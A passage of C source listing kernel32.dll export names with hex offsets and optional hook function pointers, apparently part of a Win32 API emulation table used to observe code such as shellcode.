NULL},\n\t{\"BasepCheckWinSaferRestrictions\", 0x00019805, NULL, NULL},\n\t{\"Beep\", 0x00037A77, NULL, NULL},\n\t{\"BeginUpdateResourceA\", 0x0006FC7B, NULL, NULL},\n\t{\"BeginUpdateResourceW\", 0x0006FAD8, NULL, NULL},\n\t{\"BindIoCompletionCallback\", 0x0002C02C, NULL, NULL},\n\t{\"BuildCommDCBA\", 0x0006AEED, NULL, NULL},\n\t{\"BuildCommDCBAndTimeoutsA\", 0x0006AEBF, NULL, NULL},\n\t{\"BuildCommDCBAndTimeoutsW\", 0x0006AF1F, NULL, NULL},\n\t{\"BuildCommDCBW\", 0x0006AF79, NULL, NULL},\n\t{\"CallNamedPipeA\", 0x0005FDCE, NULL, NULL},\n\t{\"CallNamedPipeW\", 0x0005FB7F, NULL, NULL},\n\t{\"CancelDeviceWakeupRequest\", 0x00060B97, NULL, NULL},\n\t{\"CancelIo\", 0x000300DA, NULL, NULL},\n\t{\"CancelTimerQueueTimer\", 0x00062DF0, NULL, NULL},\n\t{\"CancelWaitableTimer\", 0x0002CC09, NULL, NULL},\n\t{\"ChangeTimerQueueTimer\", 0x00012723, NULL, NULL},\n\t{\"CheckNameLegalDOS8Dot3A\", 0x00060A51, NULL, NULL},\n\t{\"CheckNameLegalDOS8Dot3W\", 0x00060811, NULL, NULL},\n\t{\"CheckRemoteDebuggerPresent\", 0x00059B1E, NULL, NULL},\n\t{\"ClearCommBreak\", 0x00066CF1, NULL, NULL},\n\t{\"ClearCommError\", 0x0006557C, NULL, NULL},\n\t{\"CloseConsoleHandle\", 0x0001DC7E, NULL, NULL},\n\t{\"CloseHandle\", 0x00009B47, env_w32_hook_CloseHandle, NULL},\n\t{\"CloseProfileUserMapping\", 0x0002C86D, NULL, NULL},\n\t{\"CmdBatNotification\", 0x0002F609, NULL, NULL},\n\t{\"CommConfigDialogA\", 0x00066871, NULL, NULL},\n\t{\"CommConfigDialogW\", 0x0006677D, NULL, NULL},\n\t{\"CompareFileTime\", 0x00010AD9, NULL, NULL},\n\t{\"CompareStringA\", 0x0000D077, NULL, NULL},\n\t{\"CompareStringW\", 0x0000A35E, NULL, NULL},\n\t{\"ConnectNamedPipe\", 0x0003145B, NULL, NULL},\n\t{\"ConsoleMenuControl\", 0x00071FBF, NULL, NULL},\n\t{\"ContinueDebugEvent\", 0x0005A565, NULL, NULL},\n\t{\"ConvertDefaultLocale\", 0x000383CF, NULL, NULL},\n\t{\"ConvertFiberToThread\", 0x0002FED7, NULL, NULL},\n\t{\"ConvertThreadToFiber\", 0x0002FF16, NULL, NULL},\n\t{\"CopyFileA\", 0x000286EE, NULL, NULL},\n\t{\"CopyFileExA\", 0x0005E3C4, NULL, NULL},\n\t{\"CopyFileExW\", 0x00027B32, NULL, NULL},\n\t{\"CopyFileW\", 0x0002F873, NULL, NULL},\n\t{\"CopyLZFile\", 0x000593AE, NULL, NULL},\n\t{\"CreateActCtxA\", 0x0006B7A5, NULL, NULL},\n\t{\"CreateActCtxW\", 0x0001545C, NULL, NULL},\n\t{\"CreateConsoleScreenBuffer\", 0x00073068, NULL, NULL},\n\t{\"CreateDirectoryA\", 0x000217AC, NULL, NULL},\n\t{\"CreateDirectoryExA\", 0x0005B23B, NULL, NULL},\n\t{\"CreateDirectoryExW\", 0x0005A5F2, NULL, NULL},\n\t{\"CreateDirectoryW\", 0x000323D2, NULL, NULL},\n\t{\"CreateEventA\", 0x000308AD, NULL, NULL},\n\t{\"CreateEventW\", 0x0000A6A9, NULL, NULL},\n\t{\"CreateFiber\", 0x0002FFAF, NULL, NULL},\n\t{\"CreateFiberEx\", 0x0002FFCF, NULL, NULL},\n\t{\"CreateFileA\", 0x00001A24, env_w32_hook_CreateFileA, NULL},\n\t{\"CreateFileMappingA\", 0x0000945C, env_w32_hook_CreateFileMapping, NULL},\n\t{\"CreateFileMappingW\", 0x0000938E, NULL, NULL},\n\t{\"CreateFileW\", 0x00010760, NULL, NULL},\n\t{\"CreateHardLinkA\", 0x0006B629, NULL, NULL},\n\t{\"CreateHardLinkW\", 0x0006B46C, NULL, NULL},\n\t{\"CreateIoCompletionPort\", 0x00031385, NULL, NULL},\n\t{\"CreateJobObjectA\", 0x0006B38C, NULL, NULL},\n\t{\"CreateJobObjectW\", 0x0002CB03, NULL, NULL},\n\t{\"CreateJobSet\", 0x0006B35E, NULL, NULL},\n\t{\"CreateMailslotA\", 0x0002CC8B, NULL, NULL},\n\t{\"CreateMailslotW\", 0x0002CCDC, NULL, NULL},\n\t{\"CreateMemoryResourceNotification\", 0x0003965A, NULL, NULL},\n\t{\"CreateMutexA\", 0x0000E93F, NULL, NULL},\n\t{\"CreateMutexW\", 0x0000E8B7, NULL, NULL},\n\t{\"CreateNamedPipeA\", 0x0005FC74, NULL, NULL},\n\t{\"CreateNamedPipeW\", 0x0002F0D4, NULL, NULL},\n\t{\"CreateNlsSecurityDescriptor\", 0x0002AC6C, NULL, NULL},\n\t{\"CreatePipe\", 0x0001E0C7, NULL, NULL},\n\t{\"CreateProcessA\", 0x00002367, env_w32_hook_CreateProcessA, NULL},\n\t{\"CreateProcessInternalA\", 0x0001DDD6, env_w32_hook_CreateProcessInternalA, NULL},\n\t{\"CreateProcessInternalW\", 0x00019513, NULL, NULL},\n\t{\"CreateProcessInternalWSecure\", 0x0007F1FC, NULL, NULL},\n\t{\"CreateProcessW\", 0x00002332, NULL, NULL},\n\t{\"CreateRemoteThread\", 0x0001042C, NULL, NULL},\n\t{\"CreateSemaphoreA\", 0x00012E1D, NULL, NULL},\n\t{\"CreateSemaphoreW\", 0x00010086, NULL, NULL},\n\t{\"CreateSocketHandle\", 0x0006B694, NULL, NULL},\n\t{\"CreateTapePartition\", 0x0006B14E, NULL, NULL},\n\t{\"CreateThread\", 0x00010637, NULL, NULL},\n\t{\"CreateTimerQueue\", 0x0002BFD6, NULL, NULL},\n\t{\"CreateTimerQueueTimer\", 0x0002117D, NULL, NULL},\n\t{\"CreateToolhelp32Snapshot\", 0x00064B47, NULL, NULL},\n\t{\"CreateVirtualBuffer\", 0x00034932, NULL, NULL},\n\t{\"CreateWaitableTimerA\", 0x00061A81, NULL, NULL},\n\t{\"CreateWaitableTimerW\", 0x0002FB52, NULL, NULL},\n\t{\"DeactivateActCtx\", 0x0000A675, NULL, NULL},\n\t{\"DebugActiveProcess\", 0x0005A123, NULL, NULL},\n\t{\"DebugActiveProcessStop\", 0x0005A5A9, NULL, NULL},\n\t{\"DebugBreak\", 0x00059B72, NULL, NULL},\n\t{\"DebugBreakProcess\", 0x0005A176, NULL, NULL},\n\t{\"DebugSetProcessKillOnExit\", 0x0005A19D, NULL, NULL},\n\t{\"DecodePointer\", 0x00008F88, NULL, NULL},\n\t{\"DecodeSystemPointer\", 0x00008F9F, NULL, NULL},\n\t{\"DefineDosDeviceA\", 0x0005C2C5, NULL, NULL},\n\t{\"DefineDosDeviceW\", 0x00021F1E, NULL, NULL},\n\t{\"DelayLoadFailureHook\", 0x0007DEAD, NULL, NULL},\n\t{\"DeleteAtom\", 0x00032695, NULL, NULL},\n\t{\"DeleteCriticalSection\", 0x00008FBC, NULL, NULL},\n\t{\"DeleteFiber\", 0x0002FE84, NULL, NULL},\n\t{\"DeleteFileA\", 0x00031EAB, env_w32_hook_DeleteFileA },\n\t{\"DeleteFileW\", 0x00031F31, NULL, NULL},\n\t{\"DeleteTimerQueue\", 0x00062DC3, NULL, NULL},\n\t{\"DeleteTimerQueueEx\", 0x00062D7C, NULL, NULL},\n\t{\"DeleteTimerQueueTimer\", 0x00021130, NULL, NULL},\n\t{\"DeleteVolumeMountPointA\", 0x0006A0DE, NULL, NULL},\n\t{\"DeleteVolumeMountPointW\", 0x00069930, NULL, NULL},\n\t{\"DeviceIoControl\", 0x00001625, NULL, NULL},\n\t{\"DisableThreadLibraryCalls\", 0x00011296, NULL, NULL},\n\t{\"DisconnectNamedPipe\", 0x0001269F, NULL, NULL},\n\t{\"DnsHostnameToComputerNameA\", 0x000585CF, NULL, NULL},\n\t{\"DnsHostnameToComputerNameW\", 0x0002CEB2, NULL, NULL},\n\t{\"DosDateTimeToFileTime\", 0x0003214E, NULL, NULL},\n\t{\"DosPathToSessionPathA\", 0x00061799, NULL, NULL},\n\t{\"DosPathToSessionPathW\", 0x0002C1E7, NULL, NULL},\n\t{\"DuplicateConsoleHandle\", 0x0001DD4D, NULL, NULL},\n\t{\"DuplicateHandle\", 0x0000DDFE, NULL, NULL},\n\t{\"EncodePointer\", 0x00008FDB, NULL, NULL},\n\t{\"EncodeSystemPointer\", 0x00008FF2, NULL, NULL},\n\t{\"EndUpdateResourceA\", 0x0006F949, NULL, NULL},\n\t{\"EndUpdateResourceW\", 0x0006F774, NULL, NULL},\n\t{\"EnterCriticalSection\", 0x0000900F, NULL, NULL},\n\t{\"EnumCalendarInfoA\", 0x00038211, NULL, NULL},\n\t{\"EnumCalendarInfoExA\", 0x00075749, NULL, NULL},\n\t{\"EnumCalendarInfoExW\", 0x0007877D, NULL, NULL},\n\t{\"EnumCalendarInfoW\", 0x0007875A, NULL, NULL},\n\t{\"EnumDateFormatsA\", 0x0007578A, NULL, NULL},\n\t{\"EnumDateFormatsExA\", 0x000757AA, NULL, NULL},\n\t{\"EnumDateFormatsExW\", 0x000787A0, NULL, NULL},\n\t{\"EnumDateFormatsW\", 0x000387E1, NULL, NULL},\n\t{\"EnumLanguageGroupLocalesA\", 0x000757E8, NULL, NULL},\n\t{\"EnumLanguageGroupLocalesW\", 0x00078703, NULL, NULL},\n\t{\"EnumResourceLanguagesA\", 0x0002E000, NULL, NULL},\n\t{\"EnumResourceLanguagesW\", 0x0005F631, NULL, NULL},\n\t{\"EnumResourceNamesA\", 0x0005F229, NULL, NULL},\n\t{\"EnumResourceNamesW\", 0x00055709, NULL, NULL},\n\t{\"EnumResourceTypesA\", 0x0005F03C, NULL, NULL},\n\t{\"EnumResourceTypesW\", 0x0005F449, NULL, NULL},\n\t{\"EnumSystemCodePagesA\", 0x00075827, NULL, NULL},\n\t{\"EnumSystemCodePagesW\", 0x0007873F, NULL, NULL},\n\t{\"EnumSystemGeoID\", 0x00078BD9, NULL, NULL},\n\t{\"EnumSystemLanguageGroupsA\", 0x000757CA, NULL, NULL},\n\t{\"EnumSystemLanguageGroupsW\", 0x000786E5, NULL, NULL},\n\t{\"EnumSystemLocalesA\", 0x00037CE1, NULL, NULL},\n\t{\"EnumSystemLocalesW\", 0x00078724, NULL, NULL},\n\t{\"EnumTimeFormatsA\", 0x0007576C, NULL, NULL},\n\t{\"EnumTimeFormatsW\", 0x000388BE, NULL, NULL},\n\t{\"EnumUILanguagesA\", 0x00075809, NULL, NULL},\n\t{\"EnumUILanguagesW\", 0x0002A8DC, NULL, NULL},\n\t{\"EnumerateLocalComputerNamesA\", 0x00058523, NULL, NULL},\n\t{\"EnumerateLocalComputerNamesW\", 0x000583A3, NULL, NULL},\n\t{\"EraseTape\", 0x0006B11B, NULL, NULL},\n\t{\"EscapeCommFunction\", 0x0006578E, NULL, NULL},\n\t{\"ExitProcess\", 0x0001CDDA, env_w32_hook_ExitProcess, NULL},\n\t{\"ExitThread\", 0x0000C058, env_w32_hook_ExitThread, NULL},\n\t{\"ExitVDM\", 0x00067695, NULL, NULL},\n\t{\"ExpandEnvironmentStringsA\", 0x000329D9, NULL, NULL},\n\t{\"ExpandEnvironmentStringsW\", 0x000305F6, NULL, NULL},\n\t{\"ExpungeConsoleCommandHistoryA\", 0x00070627, NULL, NULL},\n\t{\"ExpungeConsoleCommandHistoryW\", 0x0007060F, NULL, NULL},\n\t{\"ExtendVirtualBuffer\", 0x0005EBF4, NULL, NULL},\n\t{\"FatalAppExitA\", 0x00060CF8, NULL, NULL},\n\t{\"FatalAppExitW\", 0x00060CAA, NULL, NULL},\n\t{\"FatalExit\", 0x00060D46, NULL, NULL},\n\t{\"FileTimeToDosDateTime\", 0x0003065D, NULL, NULL},\n\t{\"FileTimeToLocalFileTime\", 0x0000E866, NULL, NULL},\n\t{\"FileTimeToSystemTime\", 0x0000E7EC, NULL, NULL},\n\t{\"FillConsoleOutputAttribute\", 0x00073044, NULL, NULL},\n\t{\"FillConsoleOutputCharacterA\", 0x00072FF9, NULL, NULL},\n\t{\"FillConsoleOutputCharacterW\", 0x00073020, NULL, NULL},\n\t{\"FindActCtxSectionGuid\", 0x00030F21, NULL, NULL},\n\t{\"FindActCtxSectionStringA\", 0x0006BB0F, NULL, NULL},\n\t{\"FindActCtxSectionStringW\", 0x0002FD4C, NULL, NULL},\n\t{\"FindAtomA\", 0x00030CFE, NULL, NULL},\n\t{\"FindAtomW\", 0x0002F827, NULL, NULL},\n\t{\"FindClose\", 0x0000EDD7, NULL, NULL},\n\t{\"FindCloseChangeNotification\", 0x000357D5, NULL, NULL},\n\t{\"FindFirstChangeNotificationA\", 0x0005C4AB, NULL, NULL},\n\t{\"FindFirstChangeNotificationW\", 0x00034BEF, NULL, NULL},\n\t{\"FindFirstFileA\", 0x000137D9, NULL, NULL},\n\t{\"FindFirstFileExA\", 0x0005C512, NULL, NULL},\n\t{\"FindFirstFileExW\", 0x0000EA7D, NULL, NULL},\n\t{\"FindFirstFileW\", 0x0000EEE1, NULL, NULL},\n\t{\"FindFirstVolumeA\", 0x0006A259, NULL, NULL},\n\t{\"FindFirstVolumeMountPointA\", 0x00069D19, NULL, NULL},\n\t{\"FindFirstVolumeMountPointW\", 0x00068DB1, NULL, NULL},\n\t{\"FindFirstVolumeW\", 0x0002D2AF, NULL, NULL},\n\t{\"FindNextChangeNotification\", 0x00032113, NULL, NULL},\n\t{\"FindNextFileA\", 0x00034EB1, NULL, NULL},\n\t{\"FindNextFileW\", 0x0000EF3A, NULL, NULL},\n\t{\"FindNextVolumeA\", 0x00069BFF, NULL, NULL},\n\t{\"FindNextVolumeMountPointA\", 0x00069E49, NULL, NULL},\n\t{\"FindNextVolumeMountPointW\", 0x0006905D, NULL, NULL},\n\t{\"FindNextVolumeW\", 0x0002CF9B, NULL, NULL},\n\t{\"FindResourceA\", 0x0000BE89, NULL, NULL},\n\t{\"FindResourceExA\", 0x00035F78, NULL, NULL},\n\t{\"FindResourceExW\", 0x0000AC88, NULL, NULL},\n\t{\"FindResourceW\", 0x0000BBCE, NULL, NULL},\n\t{\"FindVolumeClose\", 0x0002CF60, NULL, NULL},\n\t{\"FindVolumeMountPointClose\", 0x000357D5, NULL, NULL},\n\t{\"FlushConsoleInputBuffer\", 0x00073B1C, NULL, NULL},\n\t{\"FlushFileBuffers\", 0x00012641, NULL, NULL},\n\t{\"FlushInstructionCache\", 0x000355BC, NULL, NULL},\n\t{\"FlushViewOfFile\", 0x00035971, NULL, NULL},\n\t{\"FoldStringA\", 0x00075EB1, NULL, NULL},\n\t{\"FoldStringW\", 0x00079636, NULL, NULL},\n\t{\"FormatMessageA\", 0x0002F7A0, NULL, NULL},\n\t{\"FormatMessageW\", 0x00034B8F, NULL, NULL},\n\t{\"FreeConsole\", 0x0007108D, NULL, NULL},\n\t{\"FreeEnvironmentStringsA\", 0x0001DF77, NULL, NULL},\n\t{\"FreeEnvironmentStringsW\", 0x00014AE7, NULL, NULL},\n\t{\"FreeLibrary\", 0x0000ABDE, NULL, NULL},\n\t{\"FreeLibraryAndExitThread\", 0x0000C170, NULL, NULL},\n\t{\"FreeResource\", 0x000260C2, NULL, NULL},\n\t{\"FreeUserPhysicalPages\", 0x0005E740, NULL, NULL},\n\t{\"FreeVirtualBuffer\", 0x00034B69, NULL, NULL},\n\t{\"GenerateConsoleCtrlEvent\", 0x00073A21, NULL, NULL},\n\t{\"GetACP\", 0x00009915, NULL, NULL},\n\t{\"GetAtomNameA\", 0x0005B2AB, NULL, NULL},\n\t{\"GetAtomNameW\", 0x000330E7, NULL, NULL},\n\t{\"GetBinaryType\", 0x0006802B, NULL, NULL},\n\t{\"GetBinaryTypeA\", 0x0006802B, NULL, NULL},\n\t{\"GetBinaryTypeW\", 0x00067BCC, NULL, NULL},\n\t{\"GetCPFileNameFromRegistry\", 0x000384DB, NULL, NULL},\n\t{\"GetCPInfo\", 0x00012E76, NULL, NULL},\n\t{\"GetCPInfoExA\", 0x00076047, NULL, NULL},\n\t{\"GetCPInfoExW\", 0x0007A1CD, NULL, NULL},\n\t{\"GetCalendarInfoA\", 0x0007596B, NULL, NULL},\n\t{\"GetCalendarInfoW\", 0x00039020, NULL, NULL},\n\t{\"GetComPlusPackageInstallStatus\", 0x0006BBA2, NULL, NULL},\n\t{\"GetCommConfig\", 0x00066D09, NULL, NULL},\n\t{\"GetCommMask\", 0x0006588A, NULL, NULL},\n\t{\"GetCommModemStatus\", 0x00065913, NULL, NULL},\n\t{\"GetCommProperties\", 0x0006599C, NULL, NULL},\n\t{\"GetCommState\", 0x00065A54, NULL, NULL},\n\t{\"GetCommTimeouts\", 0x00022128, NULL, NULL},\n\t{\"GetCommandLineA\", 0x00012F1D, NULL, NULL},\n\t{\"GetCommandLineW\", 0x00016F83, NULL, NULL},\n\t{\"GetCompressedFileSizeA\", 0x0005D499, NULL, NULL},\n\t{\"GetCompressedFileSizeW\", 0x0005D371, NULL, NULL},\n\t{\"GetComputerNameA\", 0x000216A4, NULL, NULL},\n\t{\"GetComputerNameExA\", 0x000582A7, NULL, NULL},\n\t{\"GetComputerNameExW\", 0x000201F1, NULL, NULL},\n\t{\"GetComputerNameW\", 0x000316C7, NULL, NULL},\n\t{\"GetConsoleAliasA\", 0x000700B2, NULL, NULL},\n\t{\"GetConsoleAliasExesA\", 0x0007054C, NULL, NULL},\n\t{\"GetConsoleAliasExesLengthA\", 0x00070252, NULL, NULL},\n\t{\"GetConsoleAliasExesLengthW\", 0x00070245, NULL, NULL},\n\t{\"GetConsoleAliasExesW\", 0x00070531, NULL, NULL},\n\t{\"GetConsoleAliasW\", 0x00070086, NULL, NULL},\n\t{\"GetConsoleAliasesA\", 0x000703E7, NULL, NULL},\n\t{\"GetConsoleAliasesLengthA\", 0x000701B9, NULL, NULL},\n\t{\"GetConsoleAliasesLengthW\", 0x000701A1, NULL, NULL},\n\t{\"GetConsoleAliasesW\", 0x000703C9, NULL, NULL},\n\t{\"GetConsoleCP\", 0x000740D3, NULL, NULL},\n\t{\"GetConsoleCharType\", 0x000751A3, NULL, NULL},\n\t{\"GetConsoleCommandHistoryA\", 0x000709A7, NULL, NULL},\n\t{\"GetConsoleCommandHistoryLengthA\", 0x00070805, NULL, NULL},\n\t{\"GetConsoleCommandHistoryLengthW\", 0x000707ED, NULL, NULL},\n\t{\"GetConsoleCommandHistoryW\", 0x00070989, NULL, NULL},\n\t{\"GetConsoleCursorInfo\", 0x00073561, NULL, NULL},\n\t{\"GetConsoleCursorMode\", 0x000747FF, NULL, NULL},\n\t{\"GetConsoleDisplayMode\", 0x00037C53, NULL, NULL},\n\t{\"GetConsoleFontInfo\", 0x00073799, NULL, NULL},\n\t{\"GetConsoleFontSize\", 0x000738C1, NULL, NULL},\n\t{\"GetConsoleHardwareState\", 0x00071C19, NULL, NULL},\n\t{\"GetConsoleInputExeNameA\", 0x00070CFC, NULL, NULL},\n\t{\"GetConsoleInputExeNameW\", 0x00070AD1, NULL, NULL},\n\t{\"GetConsoleInputWaitHandle\", 0x000715F9, NULL, NULL},\n\t{\"GetConsoleKeyboardLayoutNameA\", 0x00074329, NULL, NULL},\n\t{\"GetConsoleKeyboardLayoutNameW\", 0x00074341, NULL, NULL},\n\t{\"GetConsoleMode\", 0x0001AF14, NULL, NULL},\n\t{\"GetConsoleNlsMode\", 0x00074F87, NULL, NULL},\n\t{\"GetConsoleOutputCP\", 0x0001B18F, NULL, NULL},\n\t{\"GetConsoleProcessList\", 0x000743C5, NULL, NULL},\n\t{\"GetConsoleScreenBufferInfo\", 0x0001BC2B, NULL, NULL},\n\t{\"GetConsoleSelectionInfo\", 0x00073629, NULL, NULL},\n\t{\"GetConsoleTitleA\", 0x00070A39, NULL, NULL},\n\t{\"GetConsoleTitleW\", 0x0001BA3C, NULL, NULL},\n\t{\"GetConsoleWindow\", 0x00074359, NULL, NULL},\n\t{\"GetCurrencyFormatA\", 0x00075B79, NULL, NULL},\n\t{\"GetCurrencyFormatW\", 0x0007B6CA, NULL, NULL},\n\t{\"GetCurrentActCtx\", 0x000300A9, NULL, NULL},\n\t{\"GetCurrentConsoleFont\", 0x0007394F, NULL, NULL},\n\t{\"GetCurrentDirectoryA\", 0x00034FFE, NULL, NULL},\n\t{\"GetCurrentDirectoryW\", 0x0000B877, NULL, NULL},\n\t{\"GetCurrentProcess\", 0x0000DDF5, NULL, NULL},\n\t{\"GetCurrentProcessId\", 0x00009920, NULL, NULL},\n\t{\"GetCurrentThread\", 0x000098EB, NULL, NULL},\n\t{\"GetCurrentThreadId\", 0x00009728, NULL, NULL},\n\t{\"GetDateFormatA\", 0x000361EE, NULL, NULL},\n\t{\"GetDateFormatW\", 0x00033775, NULL, NULL},\n\t{\"GetDefaultCommConfigA\", 0x00066A41, NULL, NULL},\n\t{\"GetDefaultCommConfigW\", 0x00066949, NULL, NULL},\n\t{\"GetDefaultSortkeySize\", 0x0007AA41, NULL, NULL},\n\t{\"GetDevicePowerState\", 0x00060B1C, NULL, NULL},\n\t{\"GetDiskFreeSpaceA\", 0x000302ED, NULL, NULL},\n\t{\"GetDiskFreeSpaceExA\", 0x0003039B, NULL, NULL},\n\t{\"GetDiskFreeSpaceExW\", 0x00012803, NULL, NULL},\n\t{\"GetDiskFreeSpaceW\", 0x000301AF, NULL, NULL},\n\t{\"GetDllDirectoryA\", 0x0005EF47, NULL, NULL},\n\t{\"GetDllDirectoryW\", 0x0005EDD7, NULL, NULL},\n\t{\"GetDriveTypeA\", 0x000214E3, NULL, NULL},\n\t{\"GetDriveTypeW\", 0x0000B2D0, NULL, NULL},\n\t{\"GetEnvironmentStrings\", 0x0001CF5B, NULL, NULL},\n\t{\"GetEnvironmentStringsA\", 0x0001CF5B, NULL, NULL},\n\t{\"GetEnvironmentStringsW\", 0x00012F08, NULL, NULL},\n\t{\"GetEnvironmentVariableA\", 0x00014AF2, NULL, NULL},\n\t{\"GetEnvironmentVariableW\", 0x0000F0F4, NULL, NULL},\n\t{\"GetExitCodeProcess\", 0x0001AE17, NULL, NULL},\n\t{\"GetExitCodeThread\", 0x00021435, NULL, NULL},\n\t{\"GetExpandedNameA\", 0x00064BCF, NULL, NULL},\n\t{\"GetExpandedNameW\", 0x00064C7C, NULL, NULL},\n\t{\"GetFileAttributesA\", 0x0001153C, NULL, NULL},\n\t{\"GetFileAttributesExA\", 0x000137B1, NULL, NULL},\n\t{\"GetFileAttributesExW\", 0x000110F5, NULL, NULL},\n\t{\"GetFileAttributesW\", 0x0000B74C, NULL, NULL},\n\t{\"GetFileInformationByHandle\", 0x00010C6D, NULL, NULL},\n\t{\"GetFileSize\", 0x00010A77, env_w32_hook_GetFileSize, NULL},\n\t{\"GetFileSizeEx\", 0x00010A09, NULL, NULL},\n\t{\"GetFileTime\", 0x00031C45, NULL, NULL},\n\t{\"GetFileType\", 0x00010E51, NULL, NULL},\n\t{\"GetFirmwareEnvironmentVariableA\", 0x0005E534, NULL, NULL},\n\t{\"GetFirmwareEnvironmentVariableW\", 0x0005E41D, NULL, NULL},\n\t{\"GetFullPathNameA\", 0x000138FC, NULL, NULL},\n\t{\"GetFullPathNameW\", 0x0000B852, NULL, NULL},\n\t{\"GetGeoInfoA\", 0x00075842, NULL, NULL},\n\t{\"GetGeoInfoW\", 0x00078847, NULL, NULL},\n\t{\"GetHandleContext\", 0x0006B683, NULL, NULL},\n\t{\"GetHandleInformation\", 0x0002BDB5, NULL, NULL},\n\t{\"GetLargestConsoleWindowSize\", 0x00074631, NULL, NULL},\n\t{\"GetLastError\", 0x0000902D, NULL, NULL},\n\t{\"GetLinguistLangSize\", 0x0007AA6B, NULL, NULL},\n\t{\"GetLocalTime\", 0x0000A7D4, NULL, NULL},\n\t{\"GetLocaleInfoA\", 0x0000D262, NULL, NULL},\n\t{\"GetLocaleInfoW\", 0x00011562, NULL, NULL},\n\t{\"GetLogicalDriveStringsA\", 0x0002C2D3, NULL, NULL},\n\t{\"GetLogicalDriveStringsW\", 0x000603CF, NULL, NULL},\n\t{\"GetLogicalDrives\", 0x00030B14, NULL, NULL},\n\t{\"GetLongPathNameA\", 0x00068586, NULL, NULL},\n\t{\"GetLongPathNameW\", 0x00013353, NULL, NULL},\n\t{\"GetMailslotInfo\", 0x0005EB58, NULL, NULL},\n\t{\"GetModuleFileNameA\", 0x0000B4CF, NULL, NULL},\n\t{\"GetModuleFileNameW\", 0x0000B3D5, NULL, NULL},\n\t{\"GetModuleHandleA\", 0x0000B6A1, env_w32_hook_GetModuleHandleA, NULL},\n\t{\"GetModuleHandleExA\", 0x0005EFE6, NULL, NULL},\n\t{\"GetModuleHandleExW\", 0x0001FCC1, NULL, NULL},\n\t{\"GetModuleHandleW\", 0x0000E43D, NULL, NULL},\n\t{\"GetNamedPipeHandleStateA\", 0x0005FCEB, NULL, NULL},\n\t{\"GetNamedPipeHandleStateW\", 0x0005FA85, NULL, NULL},\n\t{\"GetNamedPipeInfo\", 0x0005F88A, NULL, NULL},\n\t{\"GetNativeSystemInfo\", 0x00037945, NULL, NULL},\n\t{\"GetNextVDMCommand\", 0x00066F43, NULL, NULL},\n\t{\"GetNlsSectionName\", 0x00017F7D, NULL, NULL},\n\t{\"GetNumaAvailableMemory\", 0x0005FFC4, NULL, NULL},\n\t{\"GetNumaAvailableMemoryNode\", 0x0006000A, NULL, NULL},\n\t{\"GetNumaHighestNodeNumber\", 0x0005FE41, NULL, NULL},\n\t{\"GetNumaNodeProcessorMask\", 0x0005FF19, NULL, NULL},\n\t{\"GetNumaProcessorMap\", 0x0005FF7E, NULL, NULL},\n\t{\"GetNumaProcessorNode\", 0x0005FE8C, NULL, NULL},\n\t{\"GetNumberFormatA\", 0x0002EC56, NULL, NULL},\n\t{\"GetNumberFormatW\", 0x000344BC, NULL, NULL},\n\t{\"GetNumberOfConsoleFonts\", 0x00074501, NULL, NULL},\n\t{\"GetNumberOfConsoleInputEvents\", 0x0007456D, NULL, NULL},\n\t{\"GetNumberOfConsoleMouseButtons\", 0x000736E1, NULL, NULL},\n\t{\"GetOEMCP\", 0x000127A7, NULL, NULL},\n\t{\"GetOverlappedResult\", 0x000315C4, NULL, NULL},\n\t{\"GetPriorityClass\", 0x00060E13, NULL, NULL},\n\t{\"GetPrivateProfileIntA\", 0x00036434, NULL, NULL},\n\t{\"GetPrivateProfileIntW\", 0x00032730, NULL, NULL},\n\t{\"GetPrivateProfileSectionA\", 0x00035F21, NULL, NULL},\n\t{\"GetPrivateProfileSectionNamesA\", 0x00032DA7, NULL, NULL},\n\t{\"GetPrivateProfileSectionNamesW\", 0x0005BB0A, NULL, NULL},\n\t{\"GetPrivateProfileSectionW\", 0x0001EDBD, NULL, NULL},\n\t{\"GetPrivateProfileStringA\", 0x00032B56, NULL, NULL},\n\t{\"GetPrivateProfileStringW\", 0x0000F95D, NULL, NULL},\n\t{\"GetPrivateProfileStructA\", 0x0005BB2B, NULL, NULL},\n\t{\"GetPrivateProfileStructW\", 0x0005BC95, NULL, NULL},\n\t{\"GetProcAddress\", 0x0000ADA0, env_w32_hook_GetProcAddress, NULL},\n\t{\"GetProcessAffinityMask\", 0x00021765, NULL, NULL},\n\t{\"GetProcessHandleCount\", 0x00061186, NULL, NULL},\n\t{\"GetProcessHeap\", 0x0000ABC1, NULL, NULL},\n\t{\"GetProcessHeaps\", 0x0005E9DB, NULL, NULL},\n\t{\"GetProcessId\", 0x00060C75, NULL, NULL},\n\t{\"GetProcessIoCounters\", 0x00061155, NULL, NULL},\n\t{\"GetProcessPriorityBoost\", 0x0006111B, NULL, NULL},\n\t{\"GetProcessShutdownParameters\", 0x00060E79, NULL, NULL},\n\t{\"GetProcessTimes\", 0x000352D9, NULL, NULL},\n\t{\"GetProcessVersion\", 0x00012C23, NULL, NULL},\n\t{\"GetProcessWorkingSetSize\", 0x00061068, NULL, NULL},\n\t{\"GetProfileIntA\", 0x000364A9, NULL, NULL},\n\t{\"GetProfileIntW\", 0x0002F89A, NULL, NULL},\n\t{\"GetProfileSectionA\", 0x0005C0D7, NULL, NULL},\n\t{\"GetProfileSectionW\", 0x0005C110, NULL, NULL},\n\t{\"GetProfileStringA\", 0x00021495, NULL, NULL},\n\t{\"GetProfileStringW\", 0x000213F8, NULL, NULL},\n\t{\"GetQueuedCompletionStatus\", 0x0000A71D, NULL, NULL},\n\t{\"GetShortPathNameA\", 0x00035BB0, NULL, NULL},\n\t{\"GetShortPathNameW\", 0x0001F26E, NULL, NULL},\n\t{\"GetStartupInfoA\", 0x00001EEE, NULL, NULL},\n\t{\"GetStartupInfoW\", 0x00001E50, NULL, NULL},\n\t{\"GetStdHandle\", 0x00012F39, NULL, NULL},\n\t{\"GetStringTypeA\", 0x00038A0C, NULL, NULL},\n\t{\"GetStringTypeExA\", 0x000760CF, NULL, NULL},\n\t{\"GetStringTypeExW\", 0x0000BFEF, NULL, NULL},\n\t{\"GetStringTypeW\", 0x0000A490, NULL, NULL},\n\t{\"GetSystemDefaultLCID\", 0x0000BF3D, NULL, NULL},\n\t{\"GetSystemDefaultLangID\", 0x000127B2, NULL, NULL},\n\t{\"GetSystemDefaultUILanguage\", 0x00013038, NULL, NULL},\n\t{\"GetSystemDirectoryA\", 0x00014EEA, env_w32_hook_GetSystemDirectoryA },\n\t{\"GetSystemDirectoryW\", 0x00031DB9, NULL, NULL},\n\t{\"GetSystemInfo\", 0x00012D56, NULL, NULL},\n\t{\"GetSystemPowerStatus\", 0x00035340, NULL, NULL},\n\t{\"GetSystemRegistryQuota\", 0x000611C0, NULL, 